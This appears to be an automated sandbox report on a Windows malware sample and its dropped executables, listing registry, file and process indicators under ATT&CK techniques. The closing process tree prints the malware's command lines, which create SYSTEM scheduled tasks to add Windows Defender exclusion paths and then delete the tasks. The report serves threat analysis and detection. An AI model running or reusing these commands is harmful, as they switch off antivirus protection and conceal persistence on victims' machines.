bdacc83ac6fb3a7f214b6e646be19f71fb6d4e0ccdf3864044b5b7151b6eb894

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	Oh5lOb.exe

Windows security bypass 2 TTPs 12 IoCs

defense_evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86) = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Documents = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Public\zlyci1 = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86) = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4692	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\drivers\etc\hosts	Oh5lOb.exe

Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1021.001

Possible privilege escalation attempt 23 IoCs

exploit

pid	Process
4324	takeown.exe
5020	icacls.exe
2404	icacls.exe
3216	icacls.exe
412	icacls.exe
1136	icacls.exe
4936	icacls.exe
1112	icacls.exe
2092	icacls.exe
2604	icacls.exe
4008	icacls.exe
5100	icacls.exe
1036	icacls.exe
4264	takeown.exe
4488	icacls.exe
1428	icacls.exe
3284	icacls.exe
4020	icacls.exe
2288	icacls.exe
4440	icacls.exe
1268	icacls.exe
4020	icacls.exe
5028	icacls.exe

Checks BIOS information in registry 2 TTPs 1 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Oh5lOb.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-524788801-3318743092-4051225893-1000\Control Panel\International\Geo\Nation	HiWVMt.exe
Key value queried	\REGISTRY\USER\S-1-5-21-524788801-3318743092-4051225893-1000\Control Panel\International\Geo\Nation	Oh5lOb.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002

Executes dropped EXE 6 IoCs

pid	Process
1664	HiWVMt.exe
868	HiWVMt.exe
3004	Oh5lOb.exe
1324	Oh5lOb.exe
3956	Oh5lOb.exe
3780	H9Ro5icCi.exe

Loads dropped DLL 6 IoCs

pid	Process
1664	HiWVMt.exe
868	HiWVMt.exe
3004	Oh5lOb.exe
1324	Oh5lOb.exe
3956	Oh5lOb.exe
3780	H9Ro5icCi.exe

Modifies file permissions 1 TTPs 23 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
2288	icacls.exe
3284	icacls.exe
1268	icacls.exe
4264	takeown.exe
3216	icacls.exe
2092	icacls.exe
4324	takeown.exe
4488	icacls.exe
2604	icacls.exe
1428	icacls.exe
4936	icacls.exe
1112	icacls.exe
4020	icacls.exe
2404	icacls.exe
1036	icacls.exe
4020	icacls.exe
5028	icacls.exe
1136	icacls.exe
412	icacls.exe
4440	icacls.exe
5100	icacls.exe
4008	icacls.exe
5020	icacls.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\zlyci1\\HiWVMt.exe\""	HiWVMt.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Alibaba SecurityHealtha = "\"C:\\Program Files (x86)\\Oh5lOb\\Oh5lOb.exe\""	Oh5lOb.exe

Enumerates connected drives 3 TTPs 1 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

discovery defense_evasion

ioc	Process
\??\F:\	powershell.exe

Indicator Removal: Clear Persistence 1 TTPs 10 IoCs

Clear artifacts associated with previously established persistence like scheduletasks on a host.

defense_evasion

Clear Persistence

T1070.009

pid	Process
1696	cmd.exe
872	cmd.exe
5012	cmd.exe
4540	cmd.exe
4284	cmd.exe
3024	cmd.exe
4308	cmd.exe
2464	cmd.exe
4884	cmd.exe
2356	cmd.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\CodeIntegrity\SiPolicy.p7b	HiWVMt.exe

Drops file in Program Files directory 18 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\Oh5lOb\Oh5lOb.exe	HiWVMt.exe
File created	C:\Program Files (x86)\Oh5lOb\XPSPLOG.dll	HiWVMt.exe
File opened for modification	C:\Program Files (x86)\Oh5lOb\XPSPLOG.dll	HiWVMt.exe
File opened for modification	C:\Program Files (x86)\Oh5lOb\image.png	HiWVMt.exe
File created	C:\Program Files (x86)\nLIfG\XPSPLOG.dll	Oh5lOb.exe
File opened for modification	C:\Program Files (x86)\Oh5lOb\thumbs.db	HiWVMt.exe
File opened for modification	C:\Program Files (x86)\nLIfG	Oh5lOb.exe
File opened for modification	C:\Program Files (x86)\nLIfG\image.png	Oh5lOb.exe
File opened for modification	C:\Program Files (x86)\nLIfG\H9Ro5icCi.exe	Oh5lOb.exe
File created	C:\Program Files (x86)\nLIfG\thumbs.db	Oh5lOb.exe
File opened for modification	C:\Program Files (x86)\Oh5lOb	HiWVMt.exe
File created	C:\Program Files (x86)\Oh5lOb\thumbs.db	HiWVMt.exe
File created	C:\Program Files (x86)\nLIfG\image.png	Oh5lOb.exe
File opened for modification	C:\Program Files (x86)\nLIfG\thumbs.db	Oh5lOb.exe
File created	C:\Program Files (x86)\Oh5lOb\image.png	HiWVMt.exe
File opened for modification	C:\Program Files (x86)\Oh5lOb\Oh5lOb.exe	HiWVMt.exe
File created	C:\Program Files (x86)\nLIfG\H9Ro5icCi.exe	Oh5lOb.exe
File opened for modification	C:\Program Files (x86)\nLIfG\XPSPLOG.dll	Oh5lOb.exe

Enumerates video capture drivers 2 TTPs 1 IoCs

Queries the legacy Video for Windows capture drivers. This is commonly abused by RATs to check for available webcams on the system before reporting to their C2.

Peripheral Device Discovery

T1120

Video Capture

T1125

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Drivers32\msvideo9	Oh5lOb.exe

Launches sc.exe 8 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
4940	sc.exe
2852	sc.exe
1908	sc.exe
4012	sc.exe
3984	sc.exe
556	sc.exe
4008	sc.exe
4316	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Screensaver 1 TTPs 3 IoCs

Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension.

persistence privilege_escalation

Screensaver

T1546.002

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-524788801-3318743092-4051225893-1000\Control Panel\Desktop\SCRNSAVE.EXE	Oh5lOb.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-524788801-3318743092-4051225893-1000\Control Panel\Desktop\ScreenSaveActive = "0"	Oh5lOb.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-524788801-3318743092-4051225893-1000\Control Panel\Desktop\ScreenSaverIsSecure = "0"	Oh5lOb.exe

Executes a command shell one-liner 1 TTPs 25 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3572	cmd.exe
2300	cmd.exe
1616	cmd.exe
1404	cmd.exe
4064	cmd.exe
2556	cmd.exe
4764	cmd.exe
2744	cmd.exe
1708	cmd.exe
1028	cmd.exe
760	cmd.exe
1096	cmd.exe
4644	cmd.exe
3192	cmd.exe
1660	cmd.exe
2096	cmd.exe
2408	cmd.exe
4744	cmd.exe
4876	cmd.exe
2984	cmd.exe
4748	cmd.exe
3352	cmd.exe
1520	cmd.exe
1616	cmd.exe
824	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 6 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	Oh5lOb.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	Oh5lOb.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	instdoload.1.3.06.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	instdoload.1.3.06.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	HiWVMt.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	HiWVMt.exe

System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Oh5lOb.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	H9Ro5icCi.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Oh5lOb.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	takeown.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Oh5lOb.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	Oh5lOb.exe

Modifies Control Panel 4 IoCs

defense_evasion

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-524788801-3318743092-4051225893-1000\Control Panel\Desktop\ScreenSaveActive = "0"	Oh5lOb.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-524788801-3318743092-4051225893-1000\Control Panel\Desktop\ScreenSaverIsSecure = "0"	Oh5lOb.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-524788801-3318743092-4051225893-1000\Control Panel\Desktop\ScreenSaveTimeOut = "0"	Oh5lOb.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-524788801-3318743092-4051225893-1000\Control Panel\Desktop\SCRNSAVE.EXE	Oh5lOb.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 10 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
4740	schtasks.exe
3008	schtasks.exe
4588	schtasks.exe
4764	schtasks.exe
4288	schtasks.exe
3748	schtasks.exe
3360	schtasks.exe
3488	schtasks.exe
3780	schtasks.exe
1352	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1908	instdoload.1.3.06.exe
1908	instdoload.1.3.06.exe
1908	instdoload.1.3.06.exe
1908	instdoload.1.3.06.exe
1908	instdoload.1.3.06.exe
1908	instdoload.1.3.06.exe
1908	instdoload.1.3.06.exe
1908	instdoload.1.3.06.exe
1908	instdoload.1.3.06.exe
1908	instdoload.1.3.06.exe
1908	instdoload.1.3.06.exe
1908	instdoload.1.3.06.exe
1908	instdoload.1.3.06.exe
1908	instdoload.1.3.06.exe
1908	instdoload.1.3.06.exe
1908	instdoload.1.3.06.exe
1908	instdoload.1.3.06.exe
1908	instdoload.1.3.06.exe
1908	instdoload.1.3.06.exe
1908	instdoload.1.3.06.exe
1908	instdoload.1.3.06.exe
1908	instdoload.1.3.06.exe
1908	instdoload.1.3.06.exe
1908	instdoload.1.3.06.exe
1908	instdoload.1.3.06.exe
1908	instdoload.1.3.06.exe
1908	instdoload.1.3.06.exe
1908	instdoload.1.3.06.exe
1908	instdoload.1.3.06.exe
1908	instdoload.1.3.06.exe
1908	instdoload.1.3.06.exe
1908	instdoload.1.3.06.exe
1664	HiWVMt.exe
1664	HiWVMt.exe
1664	HiWVMt.exe
1664	HiWVMt.exe
1664	HiWVMt.exe
1664	HiWVMt.exe
1664	HiWVMt.exe
1664	HiWVMt.exe
1664	HiWVMt.exe
1664	HiWVMt.exe
1664	HiWVMt.exe
1664	HiWVMt.exe
1664	HiWVMt.exe
1664	HiWVMt.exe
1664	HiWVMt.exe
1664	HiWVMt.exe
1664	HiWVMt.exe
1664	HiWVMt.exe
1664	HiWVMt.exe
1664	HiWVMt.exe
1664	HiWVMt.exe
1664	HiWVMt.exe
1664	HiWVMt.exe
1664	HiWVMt.exe
1664	HiWVMt.exe
1664	HiWVMt.exe
1664	HiWVMt.exe
1664	HiWVMt.exe
1664	HiWVMt.exe
1664	HiWVMt.exe
1664	HiWVMt.exe
1664	HiWVMt.exe

Suspicious behavior: LoadsDriver 4 IoCs

pid	Process
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeTakeOwnershipPrivilege	4264	takeown.exe
Token: SeRestorePrivilege	5028	icacls.exe
Token: SeTakeOwnershipPrivilege	4324	takeown.exe
Token: SeRestorePrivilege	2604	icacls.exe
Token: SeDebugPrivilege	4692	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1664 wrote to memory of 3024	1664	HiWVMt.exe	109
PID 3024 wrote to memory of 3748	3024	cmd.exe	111
PID 3024 wrote to memory of 1444	3024	cmd.exe	112
PID 1664 wrote to memory of 872	1664	HiWVMt.exe	115
PID 3024 wrote to memory of 1400	3024	cmd.exe	119
PID 3572 wrote to memory of 4744	3572	cmd.exe	120
PID 872 wrote to memory of 3360	872	cmd.exe	121
PID 1664 wrote to memory of 4308	1664	HiWVMt.exe	122
PID 872 wrote to memory of 1404	872	cmd.exe	124
PID 4308 wrote to memory of 3488	4308	cmd.exe	127
PID 872 wrote to memory of 3928	872	cmd.exe	129
PID 4308 wrote to memory of 2376	4308	cmd.exe	130
PID 4308 wrote to memory of 2996	4308	cmd.exe	131
PID 2300 wrote to memory of 4544	2300	cmd.exe	133
PID 1664 wrote to memory of 2464	1664	HiWVMt.exe	134
PID 2464 wrote to memory of 3008	2464	cmd.exe	136
PID 1664 wrote to memory of 4884	1664	HiWVMt.exe	137
PID 2464 wrote to memory of 316	2464	cmd.exe	139
PID 4884 wrote to memory of 3780	4884	cmd.exe	141
PID 2464 wrote to memory of 2212	2464	cmd.exe	142
PID 4884 wrote to memory of 3808	4884	cmd.exe	143
PID 4884 wrote to memory of 1316	4884	cmd.exe	144
PID 1708 wrote to memory of 4576	1708	cmd.exe	146
PID 1664 wrote to memory of 3004	1664	HiWVMt.exe	147
PID 3004 wrote to memory of 1616	3004	Oh5lOb.exe	150
PID 3004 wrote to memory of 3352	3004	Oh5lOb.exe	152
PID 3004 wrote to memory of 1404	3004	Oh5lOb.exe	205
PID 3004 wrote to memory of 1028	3004	Oh5lOb.exe	156
PID 3004 wrote to memory of 5012	3004	Oh5lOb.exe	158
PID 3004 wrote to memory of 760	3004	Oh5lOb.exe	212
PID 3352 wrote to memory of 5100	3352	cmd.exe	165
PID 3004 wrote to memory of 2356	3004	Oh5lOb.exe	167
PID 5012 wrote to memory of 4764	5012	cmd.exe	215
PID 3004 wrote to memory of 4540	3004	Oh5lOb.exe	170
PID 3004 wrote to memory of 1520	3004	Oh5lOb.exe	172
PID 1028 wrote to memory of 3660	1028	cmd.exe	174
PID 3660 wrote to memory of 3712	3660	net.exe	175
PID 2356 wrote to memory of 4588	2356	cmd.exe	176
PID 4540 wrote to memory of 4740	4540	cmd.exe	177
PID 5012 wrote to memory of 2744	5012	cmd.exe	218
PID 1520 wrote to memory of 5020	1520	cmd.exe	179
PID 3004 wrote to memory of 1696	3004	Oh5lOb.exe	181
PID 2356 wrote to memory of 3064	2356	cmd.exe	227
PID 5012 wrote to memory of 2024	5012	cmd.exe	184
PID 4540 wrote to memory of 3620	4540	cmd.exe	185
PID 3004 wrote to memory of 2408	3004	Oh5lOb.exe	186
PID 4540 wrote to memory of 624	4540	cmd.exe	230
PID 2356 wrote to memory of 2344	2356	cmd.exe	189
PID 1696 wrote to memory of 1352	1696	cmd.exe	190
PID 2408 wrote to memory of 4008	2408	cmd.exe	251
PID 4064 wrote to memory of 4860	4064	cmd.exe	193
PID 3004 wrote to memory of 4284	3004	Oh5lOb.exe	194
PID 1696 wrote to memory of 224	1696	cmd.exe	253
PID 1028 wrote to memory of 1908	1028	cmd.exe	198
PID 3004 wrote to memory of 1616	3004	Oh5lOb.exe	199
PID 1616 wrote to memory of 4020	1616	cmd.exe	258
PID 1696 wrote to memory of 4668	1696	cmd.exe	202
PID 4284 wrote to memory of 4288	4284	cmd.exe	203
PID 1028 wrote to memory of 4012	1028	cmd.exe	204
PID 1028 wrote to memory of 1404	1028	cmd.exe	205
PID 3004 wrote to memory of 4644	3004	Oh5lOb.exe	206
PID 1404 wrote to memory of 3488	1404	net.exe	208
PID 4284 wrote to memory of 1188	4284	cmd.exe	209
PID 4644 wrote to memory of 3216	4644	cmd.exe	211

System policy modification 1 TTPs 1 IoCs

defense_evasion

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	Oh5lOb.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\instdoload.1.3.06.exe
"C:\Users\Admin\AppData\Local\Temp\instdoload.1.3.06.exe"
1⤵
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
PID:1908

C:\Users\Public\zlyci1\HiWVMt.exe
C:\Users\Public\zlyci1\HiWVMt.exe
1⤵
- Checks computer location settings
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Drops file in Program Files directory
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1664
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\zlyci1\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:3024
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\zlyci1\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3748
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:1444
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:1400
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:872
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3360
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:1404
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:3928
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:4308
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3488
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:2376
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:2996
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
